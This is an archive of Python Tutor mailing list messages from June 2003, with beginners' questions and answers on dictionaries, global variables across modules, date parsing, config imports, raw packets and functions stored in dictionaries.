Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hello all,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;I am trying to =
learn=20
Python, and need of help, as I make to discover all the attributes in =
the use of=20
dictionaries.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Eg : dict=3D{'name' : =
'joao'}</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;dict.<FONT=20
color=3D#ff0000>has_key</FONT>('name') </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>attribute in red.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; =
&nbsp;=20
</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Adilton, </FONT></DIV>
<DIV><FONT face=3DArial =
size=3D2>Recife-Brazil</FONT></DIV></BODY></HTML>

------=_NextPart_000_000F_01C33A4A.60BBD7E0--



From op73418@mail.telepac.pt  Tue Jun 24 12:23:01 2003
From: op73418@mail.telepac.pt (Rodrigues)
Date: Tue Jun 24 11:23:01 2003
Subject: [Tutor] dictionary
In-Reply-To: <001201c33a63$87531c10$aa85f9c8@beta>
Message-ID: <DCEDLKJJJGHMCOCFGMGKIEDNCAAA.op73418@mail.telepac.pt>

-----Original Message-----
From: tutor-admin@python.org [mailto:tutor-admin@python.org]On Behalf
Of ajstec


>Hello all,
>
>I am trying to learn Python, and need of help, as I make to discover
all the attributes in the use of dictionaries.
>
>Eg : dict={'name' : 'joao'}
>       dict.has_key('name')
>
>attribute in red.
>
>

I'm not sure what is your question. So i'll make just two comments.

1. dict is a built-in so you should not use it as a variable.

>>> dict
<type 'dict'>
>>>

2. If you want to know the attributes of an object, fire up the
interactive prompt and use help.

>>> help(dict)
Help on class dict in module __builtin__:

class dict(object)
 |  dict() -> new empty dictionary.
 |  dict(mapping) -> new dictionary initialized from a mapping
object's
 |      (key, value) pairs.
 |  dict(seq) -> new dictionary initialized as if via:
 |      d = {}
 |      for k, v in seq:
 |          d[k] = v

[lots more snipped]

Of course, for builtins and standard modules you can also consult the
readily available documentation.

Hope it helps, with my best regards,
G. Rodrigues

P.S: Please, don't send HTML mail. Send it in plain text.

>Adilton,
>Recife-Brazil



From tim@johnsons-web.com  Tue Jun 24 12:52:02 2003
From: tim@johnsons-web.com (Tim Johnson)
Date: Tue Jun 24 11:52:02 2003
Subject: [Tutor] Global Variable Gotcha
Message-ID: <20030624155525.GM17744@johnsons-web.com>

Hi All:
    Example: I'm writting an application in python that
consists of one module. I have a global object that I
use in my code.

The module grows in size, and I then seperate some of
my code into another module. I now find that when I rerun
my reconfigured application that the code in my new namespace
no longer recognizes the global object. I then find that
I must rewrite code in the newly seperated functions so
that the global object is passed as a parameter. 

I'd welcome comments on how to avoid this, and also on
how to retain the 'visibility' of this object. I can
offer a code example if necessary.
 
   Pointers/URLs to docs welcome!

Thanks.
-- 
Tim Johnson <tim@johnsons-web.com>
      http://www.alaska-internet-solutions.com
      http://www.johnsons-web.com


From bgailer@alum.rpi.edu  Tue Jun 24 14:08:02 2003
From: bgailer@alum.rpi.edu (Bob Gailer)
Date: Tue Jun 24 13:08:02 2003
Subject: [Tutor] first program
In-Reply-To: <1056418147.2284.13.camel@localhost>
References: <20030619022502.20790.19568.Mailman@mail.python.org>
 <20030619022502.20790.19568.Mailman@mail.python.org>
Message-ID: <5.2.1.1.0.20030624082341.01adb850@66.28.54.253>

--=======56DC6656=======
Content-Type: multipart/alternative; x-avg-checked=avg-ok-1B0B3AF9; boundary="=====================_12467297==.ALT"


--=====================_12467297==.ALT
Content-Type: text/plain; x-avg-checked=avg-ok-1B0B3AF9; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 8bit

At 02:29 AM 6/24/2003 +0100, mark boydell wrote:
>[snip]
>As a developmental psychologist, I often have to calculate a child's age 
>in months
>from their DOB. To do this I look at the date of the testing and the 
>child's DOB
>and w/ some maths I round it up to the closest month age.
>so my program aims to take a file made up of the date of the experiment 
>(date:DDMMYYYY)
>and a list of DOBs (in the DDMMYYYY format) and write the results to an 
>output file.
>
>Having written and tested the program it seems to work fine but I've got some
>niggling doubt that I may be breaking some basic rules:
>1. am I overusing the global scope?
>2. should I make it more OOP? by making it all into a class?
>3. is the general programming style dreadful ;) ?
>[snip]
>the input file should look like this:
>
>date:20062003
>23111996
>20021992
>03121996
>....
>[snip]

Several more ideas:

1) start learning how to use regular expressions (re) to parse input. In 
this case it might seem like overkill, but re is a very powerful tool and 
this can be a good time and place to get familiar with it:

import re
pat = r'(\D*)(\d{2,2})(\d{2,2})(\d{4,4})'
parsedDate = re.findall(pat, '12312003') # returns [('', '12', '31', '2003')]
parsedDate = re.findall(pat, 'date:12312003') # returns [('date:', '12', 
'31', '2003')]

The pattern elements:
(\D*)   match an optional sequence of nondigits and treat as a group
(\d{2,2})       match a sequence of 2 digits and treat as a group
etc.
Each group becomes an element in the result tuple.

2) take advantage of built-in functions:

line = line.replace('\n','') # strip any \n

3) process data in lists rather than in separate variables especially when 
anticipating functions that expect sequences

date = parsedDate[0] # extract tuple from list; returns {'12', '31', '2003'}
dateType = parsedDate[0] # 'date:' or ''
yyyymmddDate = [date[3], date[2], date[1], 0, 0, 0, 0, 0, 0] # rearrange 
and extend for mktime
# you now have a list in form ['2003', '12', '31', 0, 0, 0, 0, 0, 0]

4) use functions that apply other functions to sequences:

expDate = map(int, listDate) # returns [2003, 12, 31, 0, 0, 0, 0, 0, 0]

or dobDate, depending on dateType

5) for date and time processing consider the time module. If you can 
tolerate a slight rounding error (since # of days in month varies) consider:

import time
expDay = time.mktime(expDate) / 86400 # mktime gives you seconds since 1/1/1970
dobDay = time.mktime(dobDate) / 86400 # divide by 60*60*24 for days
monthDif = round((dobDay - expDat)/30.4375) # divide by average # days in 
month (365.25/12)

6) take advantage of % formatting:

outp.write('%s=%s\n'%(line, monthDif))

7) write your program design in pseudocode:

set things up
for each line in input
   parse line
   if experiment date
     save expdate
   else
     convert dob, expdate to months
     write dob, months to output

The idea here is to envision the flow of the program and data in its 
simplest form, without worrying about syntax or details.

8) assemble the above ideas into a program:

import re, time
pat = r'(\D*)(\d{2,2})(\d{2,2})(\d{4,4})'
fileName = 'j:\\samis\\python\\dates.txt' # raw_input("file to use? :")
inp = open(fileName, "r")
outp = open("DOBdata.out", "w")
for line in inp.readlines():
   line = line.replace('\n','') # strip any \n
   parsedDate = re.findall(pat, line)
   listDate = list(parsedDate[0]) # extract tuple from list and convert to 
list; returns ['12', '31', '2003']
   dateType = listDate[0]
   yyyymmddDate = [listDate[3],listDate[2],listDate[1],0,0,0,0,0,0] # 
rearrange and extend
   intDate = map(int, yyyymmddDate)
   day = time.mktime(intDate) / 86400
   if dateType == 'date:':
     expDay = day
   else:
     monthDif = round((expDay - day)/365.25*12)
     outp.write('%s=%s\n'%(line, monthDif))

9) also note that Python has a nice expression for testing if a value is in 
a range. Instead of:

dob[0]<16) and (dob[0]>-16

you can use:

-16 < dob[0] < 16


Bob Gailerbgailer@alum.rpi.edu
303 442 2625


--=====================_12467297==.ALT
Content-Type: text/html; x-avg-checked=avg-ok-1B0B3AF9; charset=us-ascii
Content-Transfer-Encoding: 8bit

<html>
<body>
At 02:29 AM 6/24/2003 +0100, mark boydell wrote:<br>
<blockquote type=cite class=cite cite>[snip]<br>
<pre>As a developmental psychologist, I often have to calculate a child's
age in months
from their DOB. To do this I look at the date of the testing and the
child's DOB
and w/ some maths I round it up to the closest month age.
so my program aims to take a file made up of the date of the experiment
(date:DDMMYYYY)
and a list of DOBs (in the DDMMYYYY format) and write the results to an
output file.

Having written and tested the program it seems to work fine but I've got
some
niggling doubt that I may be breaking some basic rules:
1. am I overusing the global scope? 
2. should I make it more OOP? by making it all into a class?
3. is the general programming style dreadful ;) ?
</pre>[snip]<br>
<pre>the input file should look like this:

date:20062003
23111996
20021992
03121996
....
</pre>[snip]</blockquote><br>
Several more ideas:<br><br>
1) start learning how to use regular expressions (re) to parse input. In
this case it might seem like overkill, but re is a very powerful tool and
this can be a good time and place to get familiar with it:<br><br>
<tt>import re<br>
pat = r'(\D*)(\d{2,2})(\d{2,2})(\d{4,4})'<br>
parsedDate = re.findall(pat, '12312003') # returns [('', '12', '31',
'2003')]<br>
parsedDate = re.findall(pat, 'date:12312003') # returns [('date:', '12',
'31', '2003')]<br><br>
</tt>The pattern elements: <br>
<tt>(\D*) <x-tab>&nbsp;&nbsp;</x-tab></tt>match an optional sequence of
nondigits and treat as a group<br>
<tt>(\d{2,2})
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab></tt>match a sequence
of 2 digits and treat as a group<br>
etc.<br>
Each group becomes an element in the result tuple.<br><br>
2) take advantage of built-in functions:<br><br>
<tt>line = line.replace('\n','') # strip any \n<br><br>
</tt>3) process data in lists rather than in separate variables
especially when anticipating functions that expect sequences<br><br>
<tt>date = parsedDate[0] # extract tuple from list; returns {'12', '31',
'2003'}<br>
dateType = parsedDate[0] # 'date:' or ''<br>
yyyymmddDate = [date[3], date[2], date[1], 0, 0, 0, 0, 0, 0] # rearrange
and extend for mktime<br>
# you now have a list in form ['2003', '12', '31', 0, 0, 0, 0, 0,
0]<br><br>
</tt>4) use functions that apply other functions to sequences:<br><br>
<tt>expDate = map(int, listDate) # returns [2003, 12, 31, 0, 0, 0, 0, 0,
0]<br><br>
</tt>or dobDate, depending on dateType<br><br>
5) for date and time processing consider the time module. If you can
tolerate a slight rounding error (since # of days in month varies)
consider:<br><br>
<tt>import time<br>
expDay = time.mktime(expDate) / 86400 # mktime gives you seconds since
1/1/1970<br>
dobDay = time.mktime(dobDate) / 86400 # divide by 60*60*24 for days<br>
monthDif = round((dobDay - expDat)/30.4375) # divide by average # days in
month (365.25/12)<br><br>
</tt>6) take advantage of % formatting:<br><br>
<tt>outp.write('%s=%s\n'%(line, monthDif))<br><br>
</tt>7) write your program design in pseudocode:<br><br>
set things up<br>
for each line in input<br>
&nbsp; parse line<br>
&nbsp; if experiment date<br>
&nbsp;&nbsp;&nbsp; save expdate<br>
&nbsp; else<br>
&nbsp;&nbsp;&nbsp; convert dob, expdate to months<br>
&nbsp;&nbsp;&nbsp; write dob, months to output<br><br>
The idea here is to envision the flow of the program and data in its
simplest form, without worrying about syntax or details.<br><br>
8) assemble the above ideas into a program:<br><br>
<tt>import re, time<br>
pat = r'(\D*)(\d{2,2})(\d{2,2})(\d{4,4})'<br>
fileName = 'j:\\samis\\python\\dates.txt' # raw_input(&quot;file to use?
:&quot;)<br>
inp = open(fileName, &quot;r&quot;) <br>
outp = open(&quot;DOBdata.out&quot;, &quot;w&quot;)<br>
for line in inp.readlines():<br>
&nbsp; line = line.replace('\n','') # strip any \n<br>
&nbsp; parsedDate = re.findall(pat, line)<br>
&nbsp; listDate = list(parsedDate[0]) # extract tuple from list and
convert to list; returns ['12', '31', '2003']<br>
&nbsp; dateType = listDate[0]<br>
&nbsp; yyyymmddDate = [listDate[3],listDate[2],listDate[1],0,0,0,0,0,0] #
rearrange and extend<br>
&nbsp; intDate = map(int, yyyymmddDate)<br>
&nbsp; day = time.mktime(intDate) / 86400<br>
&nbsp; if dateType == 'date:':<br>
&nbsp;&nbsp;&nbsp; expDay = day<br>
&nbsp; else:<br>
&nbsp;&nbsp;&nbsp; monthDif = round((expDay - day)/365.25*12)<br>
&nbsp;&nbsp;&nbsp; outp.write('%s=%s\n'%(line, monthDif))<br><br>
</tt>9) also note that Python has a nice expression for testing if a
value is in a range. Instead of:<br><br>
<pre>dob[0]&lt;16) and (dob[0]&gt;-16

</pre>you can use:<br><br>
<pre>-16 &lt; dob[0] &lt; 16

</pre><x-sigsep><p></x-sigsep>
Bob Gailerbgailer@alum.rpi.edu<br>
303 442 2625<br>
</body>
</html>


--=====================_12467297==.ALT--

--=======56DC6656=======
Content-Type: text/plain; charset=us-ascii; x-avg=cert; x-avg-checked=avg-ok-1B0B3AF9
Content-Disposition: inline


---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.488 / Virus Database: 287 - Release Date: 6/5/2003

--=======56DC6656=======--



From janos.juhasz@VELUX.com  Tue Jun 24 14:08:16 2003
From: janos.juhasz@VELUX.com (janos.juhasz@VELUX.com)
Date: Tue Jun 24 13:08:16 2003
Subject: [Tutor] Setupsup for Python
Message-ID: <OFA21C343A.CE4DD4C8-ONC1256D4F.005D9263@velux.com>

Hy pyople,

have someone know any python modul, that can be used as the perl setups=
up
modul ?
I have to push <ALTB>, <right>, ...  1831 times.


Best regards,
-----------------------
Juh=E1sz J=E1nos
IT department

VELUX Magyarorsz=E1g
Fert=F5di =C9p=EDt=F5komponens Kft.
Fert=F5d Malom k=F6z 1.
Phone: +36 99 537 939
Fax: +36 99 537 921
E-Mail: janos.juhasz@VELUX.com
=




From nas-pytut@python.ca  Tue Jun 24 14:20:01 2003
From: nas-pytut@python.ca (Neil Schemenauer)
Date: Tue Jun 24 13:20:01 2003
Subject: [Tutor] Global Variable Gotcha
In-Reply-To: <20030624155525.GM17744@johnsons-web.com>
References: <20030624155525.GM17744@johnsons-web.com>
Message-ID: <20030624172333.GA30910@glacier.arctrix.com>

The scope of globals in Python are limited to the module.  In general,
using global variables is bad style.  It's better to pass arguments to
functions as necessary.

  Neil


From tireseas@onetel.com  Tue Jun 24 14:41:02 2003
From: tireseas@onetel.com (Andy Wolfe)
Date: Tue Jun 24 13:41:02 2003
Subject: [Tutor] Help needed with graphix
Message-ID: <200306241840.41902.tireseas@onetel.com>

Hello

I am rephrasing this question asked a wee while back which went unanswere=
d.

I wanted to import the graphics module but an exception was raised that=20
there is no graphics module to import. The statement I used was:
(without quotes) "from graphics import *"

(a) is this the wrong statement to use to import graphics?
(b) has the name of the graphics module changed?
(c) is the graphics module *not* standard issue and is it to be downloade=
d=20
separately? If so, I presume from python.org ?

TIA

Andy

--=20
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
||  Reg. Linux User: 313143 ||
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Sign the Petition:
http://www.PetitionOnline.com/endtcpa1/


From tim@johnsons-web.com  Tue Jun 24 14:52:23 2003
From: tim@johnsons-web.com (Tim Johnson)
Date: Tue Jun 24 13:52:23 2003
Subject: [Tutor] Global Gotchas (was Global Variable Gotcha)
In-Reply-To: <20030624172333.GA30910@glacier.arctrix.com>
References: <20030624155525.GM17744@johnsons-web.com> <20030624172333.GA30910@glacier.arctrix.com>
Message-ID: <20030624175535.GN17744@johnsons-web.com>

* Neil Schemenauer <nas-pytut@python.ca> [030624 09:29]:
> The scope of globals in Python are limited to the module.  In general,
> using global variables is bad style.  It's better to pass arguments to
> functions as necessary.
> 
>   Neil

 Hi Neil: 
   As a season software developer, (although a relative
   newcomer to python) I'm well aware of both the
   pitfalls of using Global names,object,variables
   constants - and the advantages also.

   Perhaps I should have eliminated the word 'variable'
   from the subject. I would still like to have my
   question answered, and I intend to be fully informed
   on all caveats as well.
 
   regards
-- 
Tim Johnson <tim@johnsons-web.com>
      http://www.alaska-internet-solutions.com
      http://www.johnsons-web.com


From nas-pytut@python.ca  Tue Jun 24 15:03:01 2003
From: nas-pytut@python.ca (Neil Schemenauer)
Date: Tue Jun 24 14:03:01 2003
Subject: [Tutor] Global Gotchas (was Global Variable Gotcha)
In-Reply-To: <20030624175535.GN17744@johnsons-web.com>
References: <20030624155525.GM17744@johnsons-web.com> <20030624172333.GA30910@glacier.arctrix.com> <20030624175535.GN17744@johnsons-web.com>
Message-ID: <20030624180600.GA31076@glacier.arctrix.com>

Tim Johnson wrote:
>    Perhaps I should have eliminated the word 'variable'
>    from the subject. I would still like to have my
>    question answered, and I intend to be fully informed
>    on all caveats as well.

The cleanest solution, IMHO, is to factor the shared variables into a
module of its own and import it into the modules that need to use it.

  Neil


From ATrautman@perryjudds.com  Tue Jun 24 15:04:02 2003
From: ATrautman@perryjudds.com (Alan Trautman)
Date: Tue Jun 24 14:04:02 2003
Subject: [Tutor] Global Gotchas (was Global Variable Gotcha)
Message-ID: <06738462136C054B8F8872D69DA140DB010817@corp-exch-1.pjinet.com>

 Hi Neil: 
   As a season software developer, (although a relative
   newcomer to python) I'm well aware of both the
   pitfalls of using Global names,object,variables
   constants - and the advantages also.

   Perhaps I should have eliminated the word 'variable'
   from the subject. I would still like to have my
   question answered, and I intend to be fully informed
   on all caveats as well.
 
Neil,
I agree with Tim here global 'variables' are not generally a good idea and
usually can be eliminated by some strong effort in the design of the
program. The use of global constants can be very useful reducing the amount
of required to shift in and out of test modes. Shift deploy attributes and
the like. Connection Strings, where I work and have worked were placed as a
global constant in the same place in every program so any programmer could
easily customize and/or test any program without a detailed knowledge of the
program. This goes double for system admins where the installation can be
adjusted without any knowledge of the programs inner workings. Python is
great for this because it is never compiled so most of these changes can be
made at the remote location as all of the source is always there.

HTH,

Alan


From krier115@student.liu.se  Tue Jun 24 15:06:51 2003
From: krier115@student.liu.se (Kristoffer Erlandsson)
Date: Tue Jun 24 14:06:51 2003
Subject: [Tutor] Global Variable Gotcha
In-Reply-To: <20030624155525.GM17744@johnsons-web.com>
References: <20030624155525.GM17744@johnsons-web.com>
Message-ID: <20030624180436.GA2860@n14.ryd.student.liu.se>

On Tue, Jun 24, 2003 at 07:55:25AM -0800, Tim Johnson wrote:
> Hi All:
>     Example: I'm writting an application in python that
> consists of one module. I have a global object that I
> use in my code.
> 
> The module grows in size, and I then seperate some of
> my code into another module. I now find that when I rerun
> my reconfigured application that the code in my new namespace
> no longer recognizes the global object. I then find that
> I must rewrite code in the newly seperated functions so
> that the global object is passed as a parameter. 
> 
> I'd welcome comments on how to avoid this, and also on
> how to retain the 'visibility' of this object. I can
> offer a code example if necessary.
>  
>    Pointers/URLs to docs welcome!
> 
> Thanks.

You could use the 'from xxx import yyy' construct. If your global object
is called foo and exists in module bar you can in your additional
modules use 'from bar import foo' and it will be visible as if it was
defined in your additional modules.

Regards,
Kristoffer Erlandsson



From jeff@ccvcorp.com  Tue Jun 24 15:25:02 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Tue Jun 24 14:25:02 2003
Subject: [Tutor] Help needed with graphix
References: <200306241840.41902.tireseas@onetel.com>
Message-ID: <3EF89727.4050106@ccvcorp.com>

Andy Wolfe wrote:

>Hello
>
>I am rephrasing this question asked a wee while back which went unanswered.
>
>I wanted to import the graphics module but an exception was raised that 
>there is no graphics module to import. The statement I used was:
>(without quotes) "from graphics import *"
>

As far as I am aware, there is not (nor has ever been) a standard module 
named 'graphics', nor is there a common third-party 'graphics' module. 
 There's a wide variety of packages available that can help with 
different sorts of graphics needs, from providing a graphical user 
interface (wxPython, Tkinter) to manipulating graphical image files 
(PIL) to graphing data (PyPlot).  Perhaps you can tell us more about 
what you're hoping to accomplish, and what led you to look for this 
"graphics" module...

(For the record, I didn't answer your previous question because, while 
I've certainly never heard of a "graphics" module, that doesn't mean it 
doesn't exist.  It's also possible that you're getting it from a 
tutorial or some such that includes a custom graphics module.  So I 
figured I'd wait and see if anyone else knew of anything...)

Jeff Shannon
Technician/Programmer
Credit International




From tim@johnsons-web.com  Tue Jun 24 15:45:02 2003
From: tim@johnsons-web.com (Tim Johnson)
Date: Tue Jun 24 14:45:02 2003
Subject: [Tutor] Global Gotchas (was Global Variable Gotcha)
In-Reply-To: <20030624180600.GA31076@glacier.arctrix.com>
References: <20030624155525.GM17744@johnsons-web.com> <20030624172333.GA30910@glacier.arctrix.com> <20030624175535.GN17744@johnsons-web.com> <20030624180600.GA31076@glacier.arctrix.com>
Message-ID: <20030624184818.GO17744@johnsons-web.com>

* Neil Schemenauer <nas-pytut@python.ca> [030624 10:18]:
> Tim Johnson wrote:
> >    Perhaps I should have eliminated the word 'variable'
> >    from the subject. I would still like to have my
> >    question answered, and I intend to be fully informed
> >    on all caveats as well.
> 
> The cleanest solution, IMHO, is to factor the shared variables into a
> module of its own and import it into the modules that need to use it.

 Bingo! That really rings true (like a .h file in 'C' - sort of)
 I like that.
 thanks
 tim
-- 
Tim Johnson <tim@johnsons-web.com>
      http://www.alaska-internet-solutions.com
      http://www.johnsons-web.com


From hall@ouhep1.nhn.ou.edu  Tue Jun 24 16:15:07 2003
From: hall@ouhep1.nhn.ou.edu (Isaac Hall)
Date: Tue Jun 24 15:15:07 2003
Subject: [Tutor] importing
Message-ID: <Pine.LNX.4.44.0306241409470.1396-100000@ouhep1.nhn.ou.edu>

alright, this is kind of an odd question, and Im not sure that there is 
another way I can go about doing this.

I have a program that I would like to call with one or more than one 
configuration files in the command line.  For what I want, the easiest way 
to create these configuration files was just to make them a collection of 
python dictionaries.  This way I figured I wouldnt have to waste time 
creating some method to read a configuration file.  However I found that 
putting in a statement like:

try:
   import sys.argv[1]
except:
   print 'bad config file'

doesnt quite work.  Does anyone know if there are clever ways to import a 
file that can be specified in the command line?

thanks
Ike

-- 



From krier115@student.liu.se  Tue Jun 24 16:24:01 2003
From: krier115@student.liu.se (Kristoffer Erlandsson)
Date: Tue Jun 24 15:24:01 2003
Subject: [Tutor] importing
In-Reply-To: <Pine.LNX.4.44.0306241409470.1396-100000@ouhep1.nhn.ou.edu>
References: <Pine.LNX.4.44.0306241409470.1396-100000@ouhep1.nhn.ou.edu>
Message-ID: <20030624192308.GA3461@n14.ryd.student.liu.se>

On Tue, Jun 24, 2003 at 02:14:14PM -0500, Isaac Hall wrote:
> alright, this is kind of an odd question, and Im not sure that there is 
> another way I can go about doing this.
> 
> I have a program that I would like to call with one or more than one 
> configuration files in the command line.  For what I want, the easiest way 
> to create these configuration files was just to make them a collection of 
> python dictionaries.  This way I figured I wouldnt have to waste time 
> creating some method to read a configuration file.  However I found that 
> putting in a statement like:
> 
> try:
>    import sys.argv[1]
> except:
>    print 'bad config file'
> 
> doesnt quite work.  Does anyone know if there are clever ways to import a 
> file that can be specified in the command line?

Check out the ConfigParser module. It specifies some methods for
handling of configuration files, and provides a much more natrual syntax
in them than to use a Python dictionary. The docs can be found here:
http://www.python.org/doc/current/lib/module-ConfigParser.html
Not at all hard to grasp and will make life easier for you. Hope that
helps!

-- 
Kristoffer Erlandsson
E-mail:  krier115@student.liu.se
ICQ#:    378225


From project5@redrival.net  Tue Jun 24 17:03:02 2003
From: project5@redrival.net (Andrei)
Date: Tue Jun 24 16:03:02 2003
Subject: [Tutor] Re: dictionary
In-Reply-To: <001201c33a63$87531c10$aa85f9c8@beta>
References: <001201c33a63$87531c10$aa85f9c8@beta>
Message-ID: <bdaalp$c6b$1@main.gmane.org>

ajstec wrote:
>      I am trying to learn Python, and need of help, as I make to 
> discover all the attributes in the use of dictionaries.

You could look in the Python docs, paragraph 2.2.7. I also recommend 
using PyCrust (part of wxPython), it pops up a list of methods when you 
type a "." after a variable. You can browse through that list. On top of 
that, if you select a method, a popup hint will inform you what that 
method does. I find it very useful.

Andrei

=====
Mail address in header catches spam. Real contact info (decode with rot13):
cebwrpg5@bcrenznvy.pbz. Fcnz-serr! Cyrnfr qb abg hfr va choyvp cbfgf. V 
ernq gur yvfg, fb gurer'f ab arrq gb PP.




From Jmllr891@cs.com  Tue Jun 24 17:24:01 2003
From: Jmllr891@cs.com (Joshua Miller)
Date: Tue Jun 24 16:24:01 2003
Subject: [Tutor] Working with Raw Packets?
Message-ID: <007201c33a8e$cac23c80$6eff1f42@ne1.client2.attbi.com>

------=_NextPart_000_006D_01C33A6D.20B9CE40
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I was wondering if someone could point me to a tutorial or a site about work=
ing with raw packets, specifically, in Python.

I have a fair knowledge of TCP/IP and how the Internet works, but I have no=20=
experience in constructing raw packets and my C skills are horrible. I know=20=
that it's possible with Python and I have already had a look at Jeremy Hylto=
n's ping module (http://www.python.org/~jeremy/python.html), but, unforunate=
ly, his code is not documented so I'm having a hard time understanding how i=
t works.

Thanks in advance!
Joshua Miller

------=_NextPart_000_006D_01C33A6D.20B9CE40
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1170" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I was wondering if someone could point me t=
o a=20
tutorial or a site about working with raw packets, specifically, in=20
Python.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I have a fair knowledge of TCP/IP and how t=
he=20
Internet works, but I have no experience in constructing raw packets and my=20=
C=20
skills are horrible. I know that it's possible with Python and I have alread=
y=20
had a look at Jeremy Hylton's ping module (<A   href=3D"http://www.python.or=
g/~jeremy/python.html">http://www.python.org/~jeremy/python.html</A>),=20
but, unforunately, his code is not documented so I'm having a hard time=20
understanding how it works.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks in advance!<BR>Joshua=20
Miller</FONT></DIV></BODY></HTML>

------=_NextPart_000_006D_01C33A6D.20B9CE40--


From ccollier@viawest.net  Tue Jun 24 17:35:41 2003
From: ccollier@viawest.net (ccollier@viawest.net)
Date: Tue Jun 24 16:35:41 2003
Subject: [Tutor] Working with Raw Packets?
In-Reply-To: <007201c33a8e$cac23c80$6eff1f42@ne1.client2.attbi.com>
Message-ID: <Pine.LNX.4.44.0306241432420.1835-100000@radar.atomicservers.com>

This isn't a tutorial or howto, but there are some interesting apps down 
in the python section that might interest you:

http://www.cartel-info.fr/pbiondi/

cody


On Tue, 24 Jun 2003, Joshua Miller wrote:

> I was wondering if someone could point me to a tutorial or a site about working with raw packets, specifically, in Python.
> 
> I have a fair knowledge of TCP/IP and how the Internet works, but I have no experience in constructing raw packets and my C skills are horrible. I know that it's possible with Python and I have already had a look at Jeremy Hylton's ping module (http://www.python.org/~jeremy/python.html), but, unforunately, his code is not documented so I'm having a hard time understanding how it works.
> 
> Thanks in advance!
> Joshua Miller
> 



From alan.gauld@blueyonder.co.uk  Tue Jun 24 17:49:01 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Tue Jun 24 16:49:01 2003
Subject: [Tutor] Readlines
References: <2152563261.20030621142247@roadrunner.nf.net> <463192576.20030621171956@roadrunner.nf.net> <00b901c33891$1f272ba0$6401a8c0@xp> <124105203845.20030623152613@roadrunner.nf.net>
Message-ID: <004001c33a8f$99d65240$6401a8c0@xp>

> >> for line in f.xreadlines():
> >>     print line
> 
> How do you tell what line it is on there?

You cant, not unless you create and increent your 
own counter:

lineCount = 0
for line in f.xreadlines():
    print lineCount, line
    lineCount += 1

Alan G


From SWidney@ci.las-vegas.nv.us  Tue Jun 24 21:03:01 2003
From: SWidney@ci.las-vegas.nv.us (Scott Widney)
Date: Tue Jun 24 20:03:01 2003
Subject: [Tutor] Function in a data structure
Message-ID: <0E5508EBA1620743B409A2B8365DE16FDC865F@sovereign.ci.las-vegas.nv.us>

> Hello All:
>     I'd like to put a function in data structure
>     and execute it as part of processing the
>     structure.
> I have
> >>fd = {'func':[lambda x: x**2]}
> 
> How may I execute the lambda statement which
> is the value for fd['func']?
> I've tried:
>   apply(fd['func'],(2))
>   and apply(fd['func'],2)
>   with no luck
> 
>   Any ideas? Pointers to docs will
>   be most welcome also.
> 
>   using Python 2.2.2
>   TIA 
> -- 

"Rodrigues" already gave you your answer, but there is one thing I wanted to
point out:

Python 2.2.2 (#37, Oct 14 2002, 17:02:34) [MSC 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> fd = {'func1':lambda x: x**2, 'func2':lambda x: x**3}
>>> fd['func1'](2)
4
>>> fd['func2'](2)
8
>>> apply(fd['func1'], (2,))
4
>>> apply(fd['func2'], (2,))
8
>>>

You didn't HAVE to put your lambdas in a one item list, though I realize you
may have wanted to....


From idiot1@netzero.net  Tue Jun 24 21:39:20 2003
From: idiot1@netzero.net (Kirk Bailey)
Date: Tue Jun 24 20:39:20 2003
Subject: [Tutor] an intresting aside
Message-ID: <3EF8EE94.2040901@netzero.net>

Reading this article about the free software movement was very intresting. Python is 
itself a part fo teh free software movement, and therefore participates in this social 
revollution. I suggest that this could be most productive of intresting thoughts for 
many on this list.


http://old.law.columbia.edu/my_pubs/anarchism.html

-- 

end

Cheers!
         Kirk D Bailey
                               think
http://www.howlermonkey.net/ +-----+ http://www.tinylist.org/
http://www.listville.net/    | BOX | http://www.sacredelectron.org/
                              +-----+
"Thou art free"-ERIS          think    'Got a light?'-Promethieus

.



From rmangaliag@slu.edu.ph  Tue Jun 24 23:49:01 2003
